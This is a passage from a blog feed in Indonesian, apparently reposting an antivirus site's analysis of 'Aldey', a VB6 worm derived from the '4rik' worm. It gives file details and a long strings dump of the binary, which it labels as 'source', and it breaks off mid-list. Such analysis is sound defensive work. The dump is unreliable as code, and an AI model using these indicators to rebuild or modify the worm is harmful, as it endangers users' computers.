Eko The Dark AngelB E B A Snoreply@blogger.com (ekodomba)Mon, 7 Oct 2024 11:43:36 +0700Blogger http://www.blogger.com144125http://ekodomba.blogspot.com/en-usnoB E B A Snoreply@blogger.com<link>http://ekodomba.blogspot.com/2011/11/build-1.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 4 Nov 2011 14:15:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-6760060146895020976</guid><description><div class="info"><div style="text-align: left;"><div style="text-align: center;"><div style="text-align: left;"><div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/11/build-1.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 6.0 Asgard + Build1</span>&nbsp;</b></span></a></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/10/24/aldey-modifikasi-worm-4rik/"><span style="font-size: large;"><b>Aldey: Modifikasi Worm 4rik</b></span></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aldey/1.hex" /> </div><br /> <b>Aldey</b>. Setelah banyaknya serangan malware tipe worm yang berasal bukan dari Indonesia seperti Ramnit, VB-Shortcut, dan baru-baru ini adalah NgrBot, rupanya tidak membuat virus maker lokal berhenti membuat malware baru. Aldey adalah malware tipe worm yang kami dapatkan dari user yang berasal dari Bogor, Jawa Barat. Setelah dilihat lebih jauh mengenai worm ini, rupanya worm Aldey hanyalah modifikasi worm Arik seperti yang terlihat pada gambar di atas.<br /> <b><span id="more-2138"></span></b><br /> <a name='more'></a><b><br /> A. Info File</b><br /> <br /> Nama Worm : Aldey<br /> Asal :&nbsp; Indonesia<br /> Ukuran File : 164 KB (167,936 bytes)<br /> Packer : -<br /> Pemrograman : Ms. Visual Basic 6.0<br /> Icon : Folder Windows Vista<br /> Tipe : Worm<br /> <br /> <b>B. About Malware</b><br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aldey/3.icon" /><br /> icon worm Aldey<br /> <br /> Worm Aldey memiliki nama yang di ambil dari <i>company name</i>-nya yaitu adalah “Aldey Productions”. Sebelum ini sudah banyak malware yang dibuat dengan hanya memodifikasi source code sebelumnya. Sebut saya malware tipe VBS yang dibuat menggunakan pemrograman Visual Basic Script, atau worm Zhola yang juga memodifikasi worm sebelumnya. Berikut ini adalah string yang memperlihatkan bahwa Aldey adalah worm hasil modifikasi.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 250px; overflow: auto; text-align: left; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aldey/2.string" /></div><br /> Berikut ini adalah lampiran sourcenya.</div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;"><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><br /> <ol><li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">0000004D&nbsp;&nbsp; 0040004D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !This program cannot be run in DOS mode.</code></li> <li><code class="plain plain">000001B8&nbsp;&nbsp; 004001B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .text</code></li> <li><code class="plain plain">000001E0&nbsp;&nbsp; 004001E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .data</code></li> <li><code class="plain plain">00000208&nbsp;&nbsp; 00400208&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .rsrc</code></li> <li><code class="plain plain">00000240&nbsp;&nbsp; 00400240&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MSVBVM60.DLL</code></li> <li><code class="plain plain">000014CA&nbsp;&nbsp; 004014CA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; =*\G{0Project1</code></li> <li><code class="plain plain">000014D9&nbsp;&nbsp; 004014D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 000-000</code></li> <li><code class="plain plain">00001548&nbsp;&nbsp; 00401548&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; frmVirus4rik</code></li> <li><code class="plain plain">00001B97&nbsp;&nbsp; 00401B97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~}}}}</code></li> <li><code class="plain plain">00001BA3&nbsp;&nbsp; 00401BA3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RTVVjrqmjr}</code></li> <li><code class="plain plain">00001BC7&nbsp;&nbsp; 00401BC7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~}}}}</code></li> <li><code class="plain plain">00001BCF&nbsp;&nbsp; 00401BCF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !/9?NGGaaq</code></li> <li><code class="plain plain">00001BF7&nbsp;&nbsp; 00401BF7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ~~}}}</code></li> <li><code class="plain plain">00001C00&nbsp;&nbsp; 00401C00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +388&lt;00001C30&nbsp;&nbsp; 00401C30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%8800001C60&nbsp;&nbsp; 00401C60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''CCZ[</code></li> <li><code class="plain plain">00001C90&nbsp;&nbsp; 00401C90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%'''00001CC0&nbsp;&nbsp; 00401CC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''00001CF0&nbsp;&nbsp; 00401CF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #%''&lt;00001D20&nbsp;&nbsp; 00401D20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ##''00001D50&nbsp;&nbsp; 00401D50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "%%8D00001D81&nbsp;&nbsp; 00401D81&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #-800001DB0&nbsp;&nbsp; 00401DB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "#%89addammmr</code></li> <li><code class="plain plain">00001DE1&nbsp;&nbsp; 00401DE1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-800001E11&nbsp;&nbsp; 00401E11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-8GIdnnjrr</code></li> <li><code class="plain plain">00001E41&nbsp;&nbsp; 00401E41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-8GGhnsrr}</code></li> <li><code class="plain plain">00001E71&nbsp;&nbsp; 00401E71&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-9Gdhnszz</code></li> <li><code class="plain plain">00001EA1&nbsp;&nbsp; 00401EA1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $-9GGggs}s</code></li> <li><code class="plain plain">00001ED1&nbsp;&nbsp; 00401ED1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +-9Ghgys</code></li> <li><code class="plain plain">00001F01&nbsp;&nbsp; 00401F01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $1;GVvys</code></li> <li><code class="plain plain">00001F31&nbsp;&nbsp; 00401F31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +/GSiiyy</code></li> <li><code class="plain plain">00001F61&nbsp;&nbsp; 00401F61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +/?Tiv</code></li> <li><code class="plain plain">00001F90&nbsp;&nbsp; 00401F90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; +1AV</code></li> <li><code class="plain plain">00001FC1&nbsp;&nbsp; 00401FC1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ,?NYi</code></li> <li><code class="plain plain">00001FF0&nbsp;&nbsp; 00401FF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; ,6RT</code></li> <li><code class="plain plain">000020AF&nbsp;&nbsp; 004020AF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !.6RY</code></li> <li><code class="plain plain">00002942&nbsp;&nbsp; 00402942&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; uwxz.4DC\JJMU</code></li> <li><code class="plain plain">00002965&nbsp;&nbsp; 00402965&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; '*&nbsp; KJJJ;t</code></li> <li><code class="plain plain">00002987&nbsp;&nbsp; 00402987&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 99MJJBy</code></li> <li><code class="plain plain">000029A6&nbsp;&nbsp; 004029A6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 9KJJJ\</code></li> <li><code class="plain plain">000029C7&nbsp;&nbsp; 004029C7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 9#KMJJ\</code></li> <li><code class="plain plain">000029E6&nbsp;&nbsp; 004029E6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; =LMOO</code></li> <li><code class="plain plain">00002A06&nbsp;&nbsp; 00402A06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *1=R\QQc</code></li> <li><code class="plain plain">00002A26&nbsp;&nbsp; 00402A26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *00003CB8&nbsp;&nbsp; 00403CB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fTJ~/)</code></li> <li><code class="plain plain">00003E6A&nbsp;&nbsp; 00403E6A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; w18!g/;G</code></li> <li><code class="plain plain">00003F82&nbsp;&nbsp; 00403F82&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; p_ahQ</code></li> <li><code class="plain plain">0000418A&nbsp;&nbsp; 0040418A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0n'~r6</code></li> <li><code class="plain plain">0000561D&nbsp;&nbsp; 0040561D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fqiq%}</code></li> <li><code class="plain plain">000056E9&nbsp;&nbsp; 004056E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3Q@i6M</code></li> <li><code class="plain plain">000058E5&nbsp;&nbsp; 004058E5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; )9Ky' k</code></li> <li><code class="plain plain">00005B43&nbsp;&nbsp; 00405B43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 829fM</code></li> <li><code class="plain plain">00005D77&nbsp;&nbsp; 00405D77&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; '$mrQ,$</code></li> <li><code class="plain plain">00005DF2&nbsp;&nbsp; 00405DF2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OMa?Z6</code></li> <li><code class="plain plain">00005F49&nbsp;&nbsp; 00405F49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 93 W%X</code></li> <li><code class="plain plain">00005FF3&nbsp;&nbsp; 00405FF3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; EACF y</code></li> <li><code class="plain plain">0000608C&nbsp;&nbsp; 0040608C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; S&amp;9vO</code></li> <li><code class="plain plain">00006136&nbsp;&nbsp; 00406136&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; " ,(Rd</code></li> <li><code class="plain plain">00006285&nbsp;&nbsp; 00406285&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (A\SP</code></li> <li><code class="plain plain">0000648D&nbsp;&nbsp; 0040648D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; bP\ $C</code></li> <li><code class="plain plain">000064B9&nbsp;&nbsp; 004064B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; (]83U</code></li> <li><code class="plain plain">00006A8F&nbsp;&nbsp; 00406A8F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; W!8O</code></li> <li><code class="plain plain">00006FFE&nbsp;&nbsp; 00406FFE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ly&gt;b!</code></li> <li><code class="plain plain">00007098&nbsp;&nbsp; 00407098&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !!OY&gt;</code></li> <li><code class="plain plain">000072DF&nbsp;&nbsp; 004072DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; e&amp;@&gt;#0</code></li> <li><code class="plain plain">00007393&nbsp;&nbsp; 00407393&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; )|h0$&nbsp; E</code></li> <li><code class="plain plain">00007923&nbsp;&nbsp; 00407923&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GP1j5</code></li> <li><code class="plain plain">00007E9D&nbsp;&nbsp; 00407E9D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;S;.z</code></li> <li><code class="plain plain">00008005&nbsp;&nbsp; 00408005&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fiw *%</code></li> <li><code class="plain plain">000083E3&nbsp;&nbsp; 004083E3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6l}y'|k</code></li> <li><code class="plain plain">00008621&nbsp;&nbsp; 00408621&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; K+LAJ</code></li> <li><code class="plain plain">000086EF&nbsp;&nbsp; 004086EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lW~mV</code></li> <li><code class="plain plain">000087B0&nbsp;&nbsp; 004087B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kg&amp;~.$</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">00008989&nbsp;&nbsp; 00408989&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;G&amp;C{T</code></li> <li><code class="plain plain">00008AD4&nbsp;&nbsp; 00408AD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; qD"O\</code></li> <li><code class="plain plain">00008C3C&nbsp;&nbsp; 00408C3C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b% 4</code></li> <li><code class="plain plain">00008F62&nbsp;&nbsp; 00408F62&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; jmar|</code></li> <li><code class="plain plain">0000903F&nbsp;&nbsp; 0040903F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; xyl8H</code></li> <li><code class="plain plain">000091B6&nbsp;&nbsp; 004091B6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; a\'$='N</code></li> <li><code class="plain plain">000091F0&nbsp;&nbsp; 004091F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; nTh(y</code></li> <li><code class="plain plain">00009D97&nbsp;&nbsp; 00409D97&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; V;XL'</code></li> <li><code class="plain plain">00009E00&nbsp;&nbsp; 00409E00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; eU }t</code></li> <li><code class="plain plain">0000A004&nbsp;&nbsp; 0040A004&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 86/l~</code></li> <li><code class="plain plain">0000A34A&nbsp;&nbsp; 0040A34A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mh6D3</code></li> <li><code class="plain plain">0000A5A2&nbsp;&nbsp; 0040A5A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ,n,BC</code></li> <li><code class="plain plain">0000A5BE&nbsp;&nbsp; 0040A5BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; U]]tWW</code></li> <li><code class="plain plain">0000A84A&nbsp;&nbsp; 0040A84A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Z]T|.</code></li> <li><code class="plain plain">0000A885&nbsp;&nbsp; 0040A885&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; m*lm;&nbsp; 6</code></li> <li><code class="plain plain">0000AB05&nbsp;&nbsp; 0040AB05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; T:r|</code></li> <li><code class="plain plain">0000ABDB&nbsp;&nbsp; 0040ABDB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; R)q~N</code></li> <li><code class="plain plain">0000AD57&nbsp;&nbsp; 0040AD57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; l6M@H&amp;</code></li> <li><code class="plain plain">0000B1A9&nbsp;&nbsp; 0040B1A9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;BZ_*</code></li> <li><code class="plain plain">0000B3B1&nbsp;&nbsp; 0040B3B1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; |y#lyw</code></li> <li><code class="plain plain">0000B63C&nbsp;&nbsp; 0040B63C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; r"JOe@</code></li> <li><code class="plain plain">0000B895&nbsp;&nbsp; 0040B895&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _Lj(\</code></li> <li><code class="plain plain">0000B8D7&nbsp;&nbsp; 0040B8D7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; +~,},C</code></li> <li><code class="plain plain">0000B8F8&nbsp;&nbsp; 0040B8F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; M+Zwl</code></li> <li><code class="plain plain">0000B980&nbsp;&nbsp; 0040B980&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; y58(W</code></li> <li><code class="plain plain">0000BB19&nbsp;&nbsp; 0040BB19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mm;?~</code></li> <li><code class="plain plain">0000BB95&nbsp;&nbsp; 0040BB95&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; c|0%C</code></li> <li><code class="plain plain">0000BBFE&nbsp;&nbsp; 0040BBFE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $}&gt;iH</code></li> <li><code class="plain plain">0000C059&nbsp;&nbsp; 0040C059&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; #MgR'Qj.(Vq</code></li> <li><code class="plain plain">0000C119&nbsp;&nbsp; 0040C119&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; Lhh(QjT/SiB3Sh'5Ti</code></li> <li><code class="plain plain">0000C1DA&nbsp;&nbsp; 0040C1DA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Lit%Qla-TkM3Ti&gt;5Sf85Qd(6Rf</code></li> <li><code class="plain plain">0000C29A&nbsp;&nbsp; 0040C29A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Liz$Qli,UmU2VlD5Ti:5Rf55Qd1Y</code></li> <li><code class="plain plain">0000C35A&nbsp;&nbsp; 0040C35A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Li|#Qmo+Un\Fs</code></li> <li><code class="plain plain">0000E432&nbsp;&nbsp; 0040E432&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %Jc_(Nf/)Sl</code></li> <li><code class="plain plain">0000E4B3&nbsp;&nbsp; 0040E4B3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Hc}(Nfg1QfL4Qd%5Th</code></li> <li><code class="plain plain">0000E536&nbsp;&nbsp; 0040E536&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %Mgr.RhY4RfE5Qd:f</code></li> <li><code class="plain plain">0000F87B&nbsp;&nbsp; 0040F87B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Form1</code></li> <li><code class="plain plain">0000F8A1&nbsp;&nbsp; 0040F8A1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Timer1</code></li> <li><code class="plain plain">0000F8C1&nbsp;&nbsp; 0040F8C1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image1</code></li> <li><code class="plain plain">0000F911&nbsp;&nbsp; 0040F911&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $(4,$&amp;1'</code></li> <li><code class="plain plain">0000F91B&nbsp;&nbsp; 0040F91B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; -=-157:::#+?D?8C49:7</code></li> <li><code class="plain plain">0000F941&nbsp;&nbsp; 0040F941&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %77777777777777777777777777777777777777777777777777</code></li> <li><code class="plain plain">0000F9C4&nbsp;&nbsp; 0040F9C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1"AQa</code></li> <li><code class="plain plain">0000FA49&nbsp;&nbsp; 0040FA49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3/SD;z</code></li> <li><code class="plain plain">0000FA57&nbsp;&nbsp; 0040FA57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; BR2IR</code></li> <li><code class="plain plain">0000FA9C&nbsp;&nbsp; 0040FA9C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $pKG-/</code></li> <li><code class="plain plain">0000FB20&nbsp;&nbsp; 0040FB20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 9I)#*G</code></li> <li><code class="plain plain">0000FBEE&nbsp;&nbsp; 0040FBEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Wsn1Z</code></li> <li><code class="plain plain">0000FE5A&nbsp;&nbsp; 0040FE5A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; UIxnLut</code></li> <li><code class="plain plain">0000FE92&nbsp;&nbsp; 0040FE92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ,h}a!E!Kj,t</code></li> <li><code class="plain plain">00010003&nbsp;&nbsp; 00410003&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; pG|Sd</code></li> <li><code class="plain plain">00010091&nbsp;&nbsp; 00410091&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; uhu!+_</code></li> <li><code class="plain plain">000100EA&nbsp;&nbsp; 004100EA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *9N}*</code></li> <li><code class="plain plain">0001015E&nbsp;&nbsp; 0041015E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; b3aEo8</code></li> <li><code class="plain plain">000101A3&nbsp;&nbsp; 004101A3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *]nT[</code></li> <li><code class="plain plain">00010218&nbsp;&nbsp; 00410218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; XbS*jZ</code></li> <li><code class="plain plain">00010309&nbsp;&nbsp; 00410309&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :Rytcq</code></li> <li><code class="plain plain">00010392&nbsp;&nbsp; 00410392&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; *Kn$)</code></li> <li><code class="plain plain">00010413&nbsp;&nbsp; 00410413&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; QjIpm-</code></li> <li><code class="plain plain">00010421&nbsp;&nbsp; 00410421&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; \+V8J</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">File pos&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></li> <li><code class="plain plain">========&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">000104A5&nbsp;&nbsp; 004104A5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; iP'[tM</code></li> <li><code class="plain plain">000104ED&nbsp;&nbsp; 004104ED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Gj[L7</code></li> <li><code class="plain plain">0001055C&nbsp;&nbsp; 0041055C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; H!*_H</code></li> <li><code class="plain plain">0001056C&nbsp;&nbsp; 0041056C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VX&amp;3o</code></li> <li><code class="plain plain">000105CA&nbsp;&nbsp; 004105CA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; w!* g</code></li> <li><code class="plain plain">000106C6&nbsp;&nbsp; 004106C6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Label1</code></li> <li><code class="plain plain">000106D1&nbsp;&nbsp; 004106D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Virus 4rik</code></li> <li><code class="plain plain">00010700&nbsp;&nbsp; 00410700&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MS Sans Serif</code></li> <li><code class="plain plain">00010716&nbsp;&nbsp; 00410716&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Image2</code></li> <li><code class="plain plain">00010766&nbsp;&nbsp; 00410766&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; $(4,$&amp;1'</code></li> <li><code class="plain plain">00010770&nbsp;&nbsp; 